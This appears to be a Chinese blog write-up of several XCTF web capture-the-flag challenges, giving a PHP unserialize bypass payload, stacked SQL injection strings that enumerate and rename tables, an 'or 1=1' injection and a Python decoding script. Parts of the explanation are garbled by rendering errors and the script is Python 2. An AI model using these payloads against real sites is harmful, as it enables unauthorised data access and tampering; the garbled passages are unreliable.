XCTF-web（五）

pencek

于 2025-04-21 13:09:29 发布

阅读量1k

点赞数 13

CC 4.0 BY-SA版权

文章标签：网络安全

本文链接：https://blog.csdn.net/qq_52273419/article/details/147387719

Web_php_unserialize

在这里插入图片描述

当通过 $KaTeX parse error: Expected group after '_' at position 42: \dotserialize，触发魔术方法_̲_wakeup和__destr\dots$ this->file)输出文件内容，若 $KaTeX parse error: Expected group after '_' at position 17: \dotsile可控，可读取任意文件。 _̲_wakeup 防御：若$ file不为index.php，会被重置为index.php。可通过属性个数溢出绕过（序列化时声明的属性个数大于实际个数，__wakeup不会执行）。
正则检测：preg_match(‘/[oc]:\d+:/i’, $var)禁止包含o:或c:开头的序列化字符串。可利用NULL 字节截断让正则匹配失败（PHP 中preg_match遇到 NULL 字节会提前终止匹配）。

构造：/index.php?var=?TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

supersqli

在这里插入图片描述

看一下会输出什么

在这里插入图片描述

’1会报错

在这里插入图片描述

1’;show databases – #

在这里插入图片描述

1’;show tables – #

在这里插入图片描述

1’;show columns from 1919810931114514 – #

在这里插入图片描述

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);-- #
1’ or 1=1 #

在这里插入图片描述

inget

在这里插入图片描述

?id=1’ or 1=1 – #

在这里插入图片描述

web2

在这里插入图片描述

对密文进行 str_rot13 还原：由于 str_rot13 是双向变换，再次应用即可还原。
反转字符串：逆转加密时最后一步的 strrev。
Base64 解码：解开加密时的 base64_encode。
字符 ord 减 1：逆转加密时每个字符 ord+1 的操作。
再次反转字符串：逆转加密时第一步的 strrev。

import base64
def python_decode(string):
    zimu = "abcdefghijklmnopqrstuvwxyz" 
    rot_13 ="" 
    for i in string: 
        if i.isdigit():
            rot_13 += i
        else:
            try:
                rot_13 += zimu[zimu.index(i)-13] 
            except:
                rot_13 += zimu[zimu.index(i.lower())-13].upper()
    fz = rot_13[::-1]
    base = base64.b64decode(fz)
    base = [chr(ord(i)-1) for i in base]
    fz = base[::-1]
    print "".join(fz)

python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")